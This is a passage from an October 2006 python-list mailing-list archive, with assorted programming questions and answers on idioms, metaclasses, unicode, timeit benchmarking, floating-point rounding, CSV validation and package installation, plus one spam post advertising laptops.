class and use that: class _Sentinel(object): ' Initial data value when true data has not been fetched/computed yet' pass NO_DATA = _Sentinel def xyz(a,b,c): if a == NO_DATA: # go get a (Hmm, should that be double underscores on _Sentinel ...). - Paddy. From pepe1959 at sbcglobal.net Sat Oct 21 14:51:47 2006 From: pepe1959 at sbcglobal.net (Joe) Date: 21 Oct 2006 11:51:47 -0700 Subject: What About Next Laptop Computers? Message-ID: <1161456707.355956.152850@i42g2000cwa.googlegroups.com> L International Reveals Plans for High-Tech Next-Generation Laptop Computer Systems L International Computers Inc. "L" renowned manufacturer of high-performance computers and personal/business technologies, revealed plans for its next generation high-end laptop and ultra-portable computer systems. To read this articles, go to: http://www.contactomagazine.com/laptopcomputers1006.htm More Business and Computer News: http://www.contactomagazine.com/business.htm From fredrik at pythonware.com Thu Oct 19 15:15:04 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 21:15:04 +0200 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: James Stroud wrote: > without requiring an iterator can we perhaps invent some more arbitrary constraints while we're at it? From XX.XmcX at XX.XmclaveauX.com Fri Oct 6 22:43:44 2006 From: XX.XmcX at XX.XmclaveauX.com (MC) Date: Sat, 07 Oct 2006 04:43:44 +0200 Subject: News on versions modules for Python-2.5? References: <45269df8$0$25949$ba4acef3@news.orange.fr> Message-ID: Hi again! Thank you, for all answers & contribs. -- @-salutations Michel Claveau From onurb at xiludom.gro Tue Oct 10 06:49:18 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 10 Oct 2006 12:49:18 +0200 Subject: Python component model In-Reply-To: References: Message-ID: <452b7aae$0$306$426a74cc@news.free.fr> Marc 'BlackJack' Rintsch wrote: (snip) Python itself is a RAD tool. +1 QOTW -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From hanumizzle at gmail.com Tue Oct 17 00:05:03 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 00:05:03 -0400 Subject: Plotting histograms In-Reply-To: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: <463ff4860610162105l363c5ccer8ad825288c4c1daf@mail.gmail.com> On 16 Oct 2006 20:49:10 -0700, amitsoni.1984 at gmail.com wrote: > hi, I have some values(say from -a to a) stored in a vector and I want > to plot a histogram for those values. How can I get it done in python. > I have installed and imported the Matplotlib package but on executing > the code > [N,x]=hist(eig, 10) # make a histogram > I am getting an error saying "NameError: name 'hist' is not > defined". Use the statement 'from pylab import *' in the beginning of your program. Others, of course, may find it more tasteful and Pythonic to do: [N,x]=pylab.hist(eig, 10) i.e., prefix it with the package name. Wouldn't want to clutter the global namespace of your program after all. Good luck with it then. I think I see a reference to advanced linear algebra with 'eig' (Eigen-?) and I'm sure you understand that better than I. :) -- Theerasak From donn at u.washington.edu Thu Oct 26 12:58:07 2006 From: donn at u.washington.edu (Donn Cave) Date: Thu, 26 Oct 2006 09:58:07 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: In article , Steve Holden wrote: ... > Maybe so, but that "rule" (and let's not forget that the zen is not > actually a set of prescriptive rules but rather guidelines for the > informed) is immediately preceded by the most important "rule" of all: > "Beautiful is better than ugly". Nobody will shout at you (well, > hopefully, not on this list they won't) for writing > > if my_list != []: > ... > > in your code, but if they have to incorporate it into their own they > will almost certainly reduce it to > > if my_list: > .... > > It's just idiomatic in Python, the same way that "'Sup?" is idiomatic in > English (or what passes for it nowadays ;-) but grates on those who > aren't used to hearing it. It is idiomatic, but not _just_ idiomatic. The former requires a list object (or a tricky __eq__()), the latter works with a variety of objects, exhibiting a useful polymorphism. As for similarities between computer programming languages and natural languages, I think that breaks down pretty fast. Part of the problem is something that pinches Python pretty hard right here, a lack of words that conveniently express important concepts in the language. A few posts back, Carl Banks made a distinction between "equaling" and "being", and if I understood that right, it expresses a fundamental notion about the meaning of Python's "if", "while" etc. statements. Unfortunately, though, English conflates existence and identity in this word ("be"), so it's not going to serve our purposes very well, and when it comes to words like "if" -- well, we just have to use what we have. If there were better words to use with the notion of "something-ness", I think we would see booleans as a silly thing of little use to Python programmers. If you can see "if" and "while" as constructs that respond to something-ness, you will appreciate idiomatic Python better, because that arguably is just what it's about. Donn Cave, donn at u.washington.edu From onurb at xiludom.gro Thu Oct 12 04:48:56 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 12 Oct 2006 10:48:56 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452a6a61$0$22844$426a74cc@news.free.fr> Message-ID: <452e017a$0$30320$426a74cc@news.free.fr> Georg Brandl wrote: > Bruno Desthuilliers wrote: >> Steven D'Aprano wrote: >>> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote: >>> >>>>>> With the caveat of the "=" mentioned in the subject-line (being >>>>>> different from "==")...I haven't found any way to override >>>>>> assignment in the general case. >>>>> Why would you want to do that? >>>> For the same reason one would use property() to create getter/setter >>>> functions for a particular variable--to intercept attempts to set a >>>> variable. >>> >> (snip) >> >>> Suppose we bind the name "x" to the object 1, and then rebind the >>> name "x" >>> to the object []. Which object's hypothetical __assign__ method >>> should get >>> called? >> >> The current namespace object, of course. > > Which is? Depends on the context... Can be actually the module (global) namespace, a function local namespace or a class namespace. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From no-spam at no-spam-no-spam.com Thu Oct 12 08:44:07 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 12 Oct 2006 14:44:07 +0200 Subject: httplib/DAV: How to respond to "WWW-Authenticate: NTLM" ? Message-ID: In a DAV scheme with PROPFIND or GET (PROPFIND /test/ HTTP/1.1) and Basic AUTH to a MS SharePoint over https server (AUTH required), he responds 'WWW-Authenticate: NTLM' only: reply: 'HTTP/1.1 401 Unauthorized\r\n' header: Content-Length: 1656 header: Content-Type: text/html header: Server: Microsoft-IIS/6.0 header: WWW-Authenticate: NTLM header: X-Powered-By: ASP.NET header: MicrosoftSharePointTeamServices: 6.0.2.6568 header: Date: Thu, 12 Oct 2006 12:27:42 GMT I simply try repeatedly the same request with Basic Auth header again => The same response requesting 'header: WWW-Authenticate: NTLM' again. But then after an unsuccessful test on a really new connection (.close() , .request()) he accepts the Basic AUTH immediately. * What is this? * Is this a legal/known way to respond to a NTLM AUTH request by .close() and reconnect with Basic Auth? * Is there a Python function out there to do real NTLM authentication?.. and is this recommended to dig into Microsofty HTTP protocols ? -robert From __peter__ at web.de Tue Oct 10 02:23:28 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 10 Oct 2006 08:23:28 +0200 Subject: Encode differences between idle python and python References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com> Message-ID: pretoriano_2001 at hotmail.com wrote: > >>> u=u'?????' > >>> u > u'\xe1\xe9\xed\xf3\xfa' > >>> print u > ????? > >>> a=u.encode('latin-1') > >>> a > '\xe1\xe9\xed\xf3\xfa' > >>> print a > ????? That means that Python is better at guessing the correct encoding than you are. Here's how you can make it share its secrets: >>> import sys >>> sys.stdout.encoding 'UTF-8' # something else on your machine (cp850, maybe) Then you can use that encoding to print: >>> your_encoding = sys.stdout.encoding >>> print u"?????".encode(your_encoding) ????? On the other hand: why not always print the unicode string directly? Peter From tomec at obywatel.pl Sun Oct 8 13:12:22 2006 From: tomec at obywatel.pl (tomec at obywatel.pl) Date: 8 Oct 2006 10:12:22 -0700 Subject: SqlAlchemy how and where it can be used? Message-ID: <1160327542.606433.269250@h48g2000cwc.googlegroups.com> hello, Ive read some articles about SqlAlchemy but i don't know where i can use this? Lets say that i would like to create some application which will be using sqlAlchemy My question is which programming language can i code to use it? (only Python)? Do you know any good python editors which supports SqlAlchemy? I would be gratefull for any kind of help Best regards Tom Agents From ziade.tarek at gmail.com Fri Oct 13 19:34:55 2006 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Sat, 14 Oct 2006 01:34:55 +0200 Subject: rexec and Python 2.5 Message-ID: <94bdd2610610131634i5dcd1cf0mbfa61584ac6b6ce9@mail.gmail.com> Hello I tried to use rexec in Python 2.5, since i've seen that the module was still present But it fails, and this code can be found in rexec.RExec init code: raise RuntimeError, "This code is not secure in Python 2.2 and 2.3" So, the comment should talk about 2.4 and 2.5 too ? Is this just a forgotten change ? If so, why it is still deployed in Python ? I want to embed a Python read-eval-print loop in one of my python program, so if someone has another way to do it Regards Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Site personnel | http://programmation-python.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From letezo at fw.hu Sat Oct 28 19:35:29 2006 From: letezo at fw.hu (=?iso-8859-2?B?TOl0ZXr1?=) Date: Sun, 29 Oct 2006 01:35:29 +0200 Subject: Metaclasses are not called in subclasses. What did I wrong? Message-ID: <000501c6fae9$d27eff20$8600a8c0@ANNA> I use Python 2.4.4. Please read the code below: ----------------------------------------------------------- from new import classobj def mymeta(name,bases,clsdict): print 'meta: %s'%name return classobj(name,bases,clsdict) class A(object): __metaclass__=mymeta class B(A): pass ----------------------------------------------------------- This should print meta: A meta: B when classes A and B are created. But only meta: B is missing, since mymeta() is not called when class B is created. Related python documentation states that mymeta() must be called when B is created, since metaclasses are looked up in bases classes if not found in the dictionary of the class itself. >From Python 2.4.4's manual: "Otherwise, if there is at least one base class, its metaclass is used (this looks for a __class__ attribute first and if not found, uses its type)." Thanks for your help. Viktor From eric.pederson at gmail.com Thu Oct 5 17:07:22 2006 From: eric.pederson at gmail.com (EP) Date: 5 Oct 2006 14:07:22 -0700 Subject: Request for recommendations: shared database without a server In-Reply-To: <45256EEC.5030705@websafe.com> References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> <45256EEC.5030705@websafe.com> Message-ID: <1160082441.959287.325820@e3g2000cwe.googlegroups.com> Larry Bates wrote: > So what is going to be holding the "network drive" if it isn't a server? > And what is MySQL running on? The network drives are on a filer (a NAS array, I believe). The filer will not execute any code, it just serves data by whatever protocols (example: CIFS, NFS) it is set up for. I have MySQL running on my client machine for development, populating itself from csv files out on another network drive which a perl cgi script updates. Thick in kludge, I am. > Isn't it 'odd' that you can expect people to install MS Access but not > some other program? Odd and frustrating, but MS Access is "normal". > I had to use only "existing" database tools, and the data wasn't > too large or too complicated I would use ODBC to dBase file which > is built into all versions of Windows that I'm aware of. I think > you would find that it would work for small number of users. With > some good planning you should also be able to architect application > so that you can even change the underlying database later without > too much heartburn. Interesting idea. thanks From sonaldgr8 at gmail.com Wed Oct 25 05:04:56 2006 From: sonaldgr8 at gmail.com (sonald) Date: 25 Oct 2006 02:04:56 -0700 Subject: Unicode support in python In-Reply-To: References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> <1161347155.127042.88710@m7g2000cwm.googlegroups.com> Message-ID: <1161767096.826007.162310@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > > what does the word "validate" mean here? > Let me explain our module. We receive text files (with comma separated values, as per some predefined format) from a third party. for example account file comes as "abc.acc" {.acc is the extension for account file as per our code} it must contain account_code, account_description, account_balance in the same order. So, from the text file("abc.acc") we receive for 2 or more records, will look like A001, test account1, 100000 A002, test account2, 500000 We may have multiple .acc files Our job is to validate the incoming data on the basis of its datatype, field number, etc and copy all the error free records in acc.txt for this, we use a schema as follows ---------------------------------------------------------------------------------------------------------- if account_flg == 1: start = time() # the input fields acct_schema = { 0: Text('AccountCode', 50), 1: Text('AccountDescription', 100), 2: Text('AccountBalance', 50) } validate( schema = acct_schema, primary_keys = [acct_pk], infile = '../data/ACC/*.acc', outfile = '../data/acc.txt', update_freq = 10000) ---------------------------------------------------------------------------------------------------------- In a core.py, we have defined a function validate, which checks for the datatypes & other validations. All the erroneous records are copied in a error log file, and the correct records are copied to a clean acc.text file The validate function is as given below... --------------------------------------------------------------------------------------------------------------------------- def validate(infile, outfile, schema, primary_keys=[], foreign_keys=[], record_checks=[], buffer_size=0, update_freq=0): show("intitalizing ... ") # find matching input files all_files = glob.glob(infile) if not all_files: raise ValueError('No input files were found.') # initialize data structures freq = update_freq or DEFAULT_UPDATE input = fileinput.FileInput(all_files, bufsize = buffer_size or DEFAULT_BUFFER) output = open(outfile, 'wb+') logs = {} for name in all_files: logs[name] = open(name + DEFAULT_SUFFIX, 'wb+') #logs[name] = open(name + DEFAULT_SUFFIX, 'a+') errors = [] num_fields = len(schema) pk_length = range(len(primary_keys)) fk_length = range(len(foreign_keys)) rc_length = range(len(record_checks)) # initialize the PKs and FKs with the given schema for idx in primary_keys: idx.setup(schema) for idx in foreign_keys: idx.setup(schema) # start processing: collect all lines which have errors for line in input: rec_num = input.lineno() if rec_num % freq == 0: show("processed %d records ... " % (rec_num)) for idx in primary_keys: idx.flush() for idx in foreign_keys: idx.flush() if BLANK_LINE.match(line): continue try: data = csv.parse(line) # check number of fields if len(data) != num_fields: errors.append( (rec_num, LINE_ERROR, 'incorrect number of fields') ) continue # check for well-formed fields fields_ok = True for i in range(num_fields): if not schema[i].validate(data[i]): errors.append( (rec_num, FIELD_ERROR, i) ) fields_ok = False break # check the PKs for i in pk_length: if fields_ok and not primary_keys[i].valid(rec_num, data): errors.append( (rec_num, PK_ERROR, i) ) break # check the FKs for i in fk_length: if fields_ok and not foreign_keys[i].valid(rec_num, data): #print 'here ---> %s, rec_num : %d'%(data,rec_num) errors.append( (rec_num, FK_ERROR, i) ) break # perform record-level checks for i in rc_length: if fields_ok and not record_checks[i](schema, data): errors.append( (rec_num, REC_ERROR, i) ) break except fastcsv.Error, err: errors.append( (rec_num, LINE_ERROR, err.__str__()) ) # finalize the indexes to check for any more errors for i in pk_length: error_list = primary_keys[i].finalize() primary_keys[i].save() if error_list: errors.extend( [ (rec_num, PK_ERROR, i) for rec_num in error_list ] ) for i in fk_length: error_list = foreign_keys[i].finalize() if error_list: errors.extend( [ (rec_num, FK_ERROR, i) for rec_num in error_list ] ) # sort the list of errors by the cumulative line number errors.sort( lambda l, r: cmp(l[0], r[0]) ) show("saving output ... ") # reopen input and sort it into either the output file or error log file input = fileinput.FileInput(all_files, bufsize = buffer_size or DEFAULT_BUFFER) error_list = iter(errors) count = input.lineno filename = input.filename line_no = input.filelineno try: line_num, reason, i = error_list.next() except StopIteration: line_num = -1 for line in input: line = line + '\r\n' #print '%d,%d'%(line_num,count()) if line_num == count(): if reason == FIELD_ERROR: logs[filename()].write(ERROR_FORMAT % (line_no(), INVALID_FIELD % (schema[i].name), line)) elif reason == LINE_ERROR: logs[filename()].write(ERROR_FORMAT % (line_no(), i, line)) elif reason == PK_ERROR: logs[filename()].write(ERROR_FORMAT % (line_no(), INVALID_PK % (primary_keys[i].name), line)) elif reason == FK_ERROR: #print 'Test FK %s, rec_num : %d, line : %s'%(foreign_keys[i].name,line_no(),line) logs[filename()].write(ERROR_FORMAT % (line_no(), INVALID_FK % (foreign_keys[i].name), line)) elif reason == REC_ERROR: logs[filename()].write(ERROR_FORMAT % (line_no(), INVALID_REC % (record_checks[i].__doc__), line)) else: raise RuntimeError("shouldn't reach here") try: #print 'CURRENT ITERATION, line_num : %d, line : %s'%(line_num,line) line_num1 = line_num line_num, reason, i = error_list.next() if line_num1 == line_num : line_num, reason, i = error_list.next() #print 'FOR NEXT ITERATION, line_num : %d, line : %s'%(line_num,line) except StopIteration: line_num = -1 continue if not BLANK_LINE.match(line): output.write(line) output.close() for f in logs.values(): f.close() ----------------------------------------------------------------------------------------------------------------------------- now when I open the error log file, it contains the error message for each erroneous record, along with the original record copied from the *.acc file. Now this record is preceeded with a box like character. Do you want me to post the complete code , just incase... It might help... you might then understand my problem well.. plz let me know soon From limodou at gmail.com Mon Oct 9 03:58:41 2006 From: limodou at gmail.com (limodou) Date: Mon, 9 Oct 2006 15:58:41 +0800 Subject: ANN:UliPad 3.4 Release In-Reply-To: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com> References: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com> Message-ID: <505f13c0610090058x13cff334xaeb89fd029d19ab2@mail.gmail.com> Sorry for the url download lastest version 3.4: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=ulipad_3.4.zip also have windows installer: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad.3.4.exe -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From DustanGroups at gmail.com Sat Oct 21 07:22:24 2006 From: DustanGroups at gmail.com (Dustan) Date: 21 Oct 2006 04:22:24 -0700 Subject: Customize the effect of enumerate()? In-Reply-To: <7xfyditoui.fsf@ruckus.brouhaha.com> References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> <7xfyditoui.fsf@ruckus.brouhaha.com> Message-ID: <1161429744.440457.251850@m7g2000cwm.googlegroups.com> Paul Rubin wrote: > "Dustan" writes: > > Can I make enumerate(myObject) act differently? > > No. > > > Why the funny behavior, you ask? For my class A, it doesn't make sense > > to number everything the standard programming way. > > Add an enumerate method to the class then, that does what you want. > Maybe dict.iteritems would be a better example to follow. That's what I thought. Thanks anyway! From hg at nospam.com Fri Oct 13 15:43:22 2006 From: hg at nospam.com (hg) Date: Fri, 13 Oct 2006 14:43:22 -0500 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: <18SXg.27347$Go3.9933@dukeread05> Theerasak Photha wrote: > On 10/13/06, hg wrote: > >> I'm really interested: my *small* company is ready to spend the ~300$ in >> the process, but Komodo looks _very_ sparse. >> >> How do you go about it? ... I have resources to look at it for one or >> two days. > > It's entirely possible you could use a free IDE as well. (Just > throwing it out there.) > > -- Theerasak I have spend the past two years with eclipse/pydev ... a few issue are still troublesome to me (speed, search for definitions ... being a few of them) ... and until two days ago I had not even looked at Wing as I wrongly thought it was on Windoze-based. But I must must admit I am impressed - yet I feel it would be stupid to not look carefully at Komodo ... hence my questions. hg From steve at REMOVE.THIS.cybersource.com.au Sun Oct 15 19:10:25 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Mon, 16 Oct 2006 09:10:25 +1000 Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160886206.594661.321230@e3g2000cwe.googlegroups.com> <1160903686.538807.201310@i42g2000cwa.googlegroups.com> Message-ID: On Sun, 15 Oct 2006 20:03:18 +1000, Ben Finney wrote: > "Paddy" writes: > >> Ben Finney wrote: >> > Your calculator is probably doing rounding without you asking for >> > it. >> > >> > Python refuses to guess what you want, and gives you the >> > information available. >> >> I don't think Python should take too much credit here. > > I don't understand what you could mean by this. Credit for "giv[ing] > you the information available"? That's exactly what it's doing. > >> Floating point calcuations are subject to rounding. Sometimes it >> shows. > > And Python is showing it, rather than hiding it. It certainly isn't > doing any rounding unless asked to do so. Python simply exposes whatever the C maths library does. The C maths library is almost certainly doing some rounding: floats have only a finite precision, which generally means the designer of the math library has two choices: just truncate (chop) the calculation, or carry extra guard digits (or bits) and round down. Most systems these days use guard digits, as that is more accurate than truncating to a fixed precision. If you mean that Python isn't doing *extra* rounding, above and beyond what the C library is doing, you're correct. But rounding is happening. This is a useful resource: "What every computer scientist should know about floating-point arithmetic" http://docs.sun.com/source/806-3568/ncg_goldberg.html To go back to the Original Poster's problem, he pointed out that his "16 bit calculator" gave a more accurate (but less precise) answer for sin(pi), namely 0, instead of the more precise (but less accurate) 1.2246063538223773e-016 that Python reported. That just goes to show that, sometimes, extra precision in floating point maths is a bad thing -- a less precise library would actually have given a more correct answer. This isn't strictly a Python question, but if there is anybody out there who knows what the C library is doing, I'd appreciate an answer: since sine is periodic, doesn't it make sense to reduce the argument modulo pi before calculating the sine? Something like this: def _sin(x): x = x % math.pi return math.sin(x) Yes, you lose precision for large values of x because of the modulo, and because math.pi isn't precisely pi, but that's got to be better than losing precision for moderate values of x, surely? Have I missed something? -- Steve. From http Wed Oct 25 15:18:50 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:18:50 -0700 Subject: cleaner way to write this? References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> Message-ID: <7xzmbkgq5h.fsf@ruckus.brouhaha.com> John Salerno writes: > > def create_db_name(self): > > try: > > while True: > > dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', > > 'Create New Database') > > if dlg.ShowModal() != wx.ID_OK: > > return None > > db_name = dlg.GetValue() > > if db_name: > > return db_name > > pop_up_error_dialog("please enter a value or press cancel") > > finally: > > dlg.Destroy() > > Interesting. Some variation of this might suit me, but I think one > other problem I'm having is that the ShowModal() method returns > whenever a button is pressed, so even if OK is pressed with an empty > string in the box, the dialog disappears and returns an "OK" value. Right. The above handles that case, I believe. If the user clicks with an empty string, showModal() returns wx.ID_OK, GetValue() returns the empty string, db_name gets set to that empty string, db_name gets tested (maybe I should have made the comparison with the empty string explicit), the error dialog pops up since db_name is empty, and the loop repeats. From ewijaya at i2r.a-star.edu.sg Tue Oct 3 10:08:21 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Tue, 03 Oct 2006 22:08:21 +0800 Subject: Benchmarking Python's subroutines/function Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061583@mailbe01.teak.local.net> Hi, How does one benchmark multiple subroutines in Python? Is there a built-in library for that? -- Regards, Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From tuomas.vesterinen at pp.inet.fi Fri Oct 20 17:58:52 2006 From: tuomas.vesterinen at pp.inet.fi (Tuomas) Date: Fri, 20 Oct 2006 21:58:52 GMT Subject: cross-linked version of the python documentation In-Reply-To: <453904e0$0$25170$88260bb3@free.teranews.com> References: <453904e0$0$25170$88260bb3@free.teranews.com> Message-ID: tom arnall wrote: > Is there a cross-linked version of the python documentation available? Is > anyone interested in starting a project for such? > > tom arnall > north spit, ca > usa > pydoc serves as such a cross-linked version of the python *online* documentation TV From ajones1 at gmail.com Thu Oct 19 11:32:37 2006 From: ajones1 at gmail.com (Adam Jones) Date: 19 Oct 2006 08:32:37 -0700 Subject: What happened to RuleDispatch In-Reply-To: <1161265603.275979.51220@e3g2000cwe.googlegroups.com> References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> <1161204102.346021.154750@f16g2000cwb.googlegroups.com> <1161265458.878033.121690@m7g2000cwm.googlegroups.com> <1161265603.275979.51220@e3g2000cwe.googlegroups.com> Message-ID: <1161271957.618070.167220@m73g2000cwd.googlegroups.com> exhuma.twn wrote: > On Oct 19, 3:44 pm, "exhuma.twn" wrote: > > On Oct 18, 10:41 pm, "Adam Jones" wrote: > > > > > > > > > exhuma.twn wrote: > > > > Hi all, > > > > > > yesterday I wanted to install TurboGears, which depends on > > > >RuleDispatch. However, I failed to download it. First I got the error > > > > "Bad Gateway" from the server, today it's simply a "Not Found" error. > > > > So what happened to it? Does somebody know? > > > > > > I would really need to install TurboGears in the next couple of days. > > > > So if someone knows where I can find a mirror ofRuleDispatchI would > > > > be very grateful.The required files for TG are mirrored on the turbogears.org download > > > page. You should be able to get an installation by looking up the files > > > there. Try this command: > > > > > easy_install -fhttp://www.turbogears.org/download/index.html > > > TurboGears > > > > > That is actually the recommended way to install TurboGears, as it is > > > not always compatible with the latest version of the components. > > > > > -AdamHmmm... this is wat I get: > > > > Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg > > Processing dependencies for TurboGears > > Searching forRuleDispatch > > Readinghttp://www.turbogears.org/download/index.html > > Best match:RuleDispatch0.5a0.dev-r2115 > > Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz > > error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz: > > 502 Bad Gateway > > > > Could this be a local issue? > > Forgot to say I also tried to download it via the web-browser. This > gave me the following error (generated by the proxy I have to use): > > "Server response could not be decoded using encoding type returned by > server. > This is typically caused by a Web Site presenting a content encoding > header of one type, and then encoding the data differently." I just tried it for myself (with my workplace's proxy) and had no problems. You might want to check on the TurboGears mailing list ( http://groups.google.com/group/turbogears ) to see if someone there can help you figure out what is going on. Downloading the eggs at another location and installing locally is also an option. -Adam From i_vincent at hotmail.com Tue Oct 10 05:39:23 2006 From: i_vincent at hotmail.com (Ian Vincent) Date: 10 Oct 2006 10:39:23 +0100 Subject: Jython Sounds Examples Message-ID: I have been hunting around Google hits for any source code examples of using sound (preferably WAV) under Jython with no success (minus several using other toolkits such as JNRI and JES). Does anybody know if any such examples exist and if so, I would be grateful for a pointer in their direction? From onurb at xiludom.gro Wed Oct 4 04:23:15 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 04 Oct 2006 10:23:15 +0200 Subject: was python implemented as a object oriented langage at the beginning ? In-Reply-To: <1159913594.141208.280030@i3g2000cwc.googlegroups.com> References: <1159879673.081812.124460@i3g2000cwc.googlegroups.com> <1159913594.141208.280030@i3g2000cwc.googlegroups.com> Message-ID: <45236f74$0$19034$426a74cc@news.free.fr> has wrote: > Python's type/class > distinction Which "type/class" distinction ? -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From steve at REMOVE.THIS.cybersource.com.au Sat Oct 21 07:09:07 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 21 Oct 2006 21:09:07 +1000 Subject: The fastest search References: Message-ID: On Sat, 21 Oct 2006 17:41:04 +0800, Fulvio wrote: > I'm poor in knoweledge of python, sorry. What's the fastest result between : > > if item in alist: > do_something > > or > > if adictionay has_key(item): > do_something Let's find out. Searches that succeed: >>> import timeit >>> search_list_setup = "L = range(10000)" >>> search_list = "L.index(7500)" >>> timeit.Timer(search_list, search_list_setup).timeit(10000) 8.0721840858459473 >>> search_dict_setup = """D = {} ... for i in range(10000): ... D[i] = None ... """ >>> search_dict = "D.has_key(7500)" >>> timeit.Timer(search_dict, search_dict_setup).timeit(10000) 0.0079340934753417969 So for searches that succeed, dicts are much faster than lists. How about searches that fail? >>> search_dict_fail = "D.has_key(-7500)" >>> timeit.Timer(search_dict_fail, search_dict_setup).timeit(10000) 0.0060589313507080078 >>> search_list_fail = """try: ... L.index(-7500) ... except ValueError: ... pass ... """ >>> timeit.Timer(search_list_fail, search_list_setup).timeit(10000) 11.371721982955933 Again, dicts are much faster. But what if you know the list is sorted, and you can do a binary search? >>> binary_search_setup = """import bisect ... L = range(10000) ... """ >>> binary_search = "bisect.bisect(L, 7500)" >>> timeit.Timer(binary_search, binary_search_setup).timeit(10000) 0.04595494270324707 Still slower than a dict, but much, much faster than a linear search. > Is there some trick to apply the best search in wise use of resources > while using the above said methods? Yes. Measure, don't guess. Don't even think about optimising your code until it is working. Use the data structures which are natural to the task, then measure to see if it is too slow. Never assume something is too slow until you've measured it. Measure using realistic data -- don't do all your tests with lists of ten items if actual working data will have ten thousand items, and vice versa. And most importantly, think about whether optimisation is a worthwhile use of your time: do you really care about saving five milliseconds in a program that takes 30 seconds to run? -- Steve. From sybrenUSE at YOURthirdtower.com.imagination Mon Oct 2 12:52:31 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Mon, 2 Oct 2006 18:52:31 +0200 Subject: Python/UNO/OpenOffice? References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> <1159792556.813570.10480@k70g2000cwa.googlegroups.com> <1159794483.092877.196110@m7g2000cwm.googlegroups.com> <1159794862.317582.214860@e3g2000cwe.googlegroups.com> <1159800413.806985.123060@m73g2000cwd.googlegroups.com> Message-ID: John Machin enlightened us with: > Many thanks for all that, olive; I made the minimal hacks to make it > open an XLS ffile, and it worked! > I'll try to see why that worked and my previous experiment crashed > inside a DLL. Thanks, keep us posted! Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From aahz at pythoncraft.com Mon Oct 2 14:09:12 2006 From: aahz at pythoncraft.com (Aahz) Date: 2 Oct 2006 11:09:12 -0700 Subject: Pythonic API design: detailed errors when you usually don't care References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com> Message-ID: In article <1159807538.579131.198670 at e3g2000cwe.googlegroups.com>, Simon Willison wrote: > >try: > do_something() >except HttpError: > # An HTTP error occurred >except ApplicationError: > # An application error occurred >else: > # It worked! Use a similar but different idiom: try: do_something() except DoSomethingError: # handle error IOW, your do_something() function maps all expected errors to DoSomethingError (or at least to a series of related exceptions that are all subclasses of DoSomethingError). -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "LL YR VWL R BLNG T S" -- www.nancybuttons.com From aurelien.campeas at free.fr Mon Oct 16 06:50:51 2006 From: aurelien.campeas at free.fr (aurelien.campeas@logilab.fr) Date: 16 Oct 2006 03:50:51 -0700 Subject: classroom constraint satisfaction problem 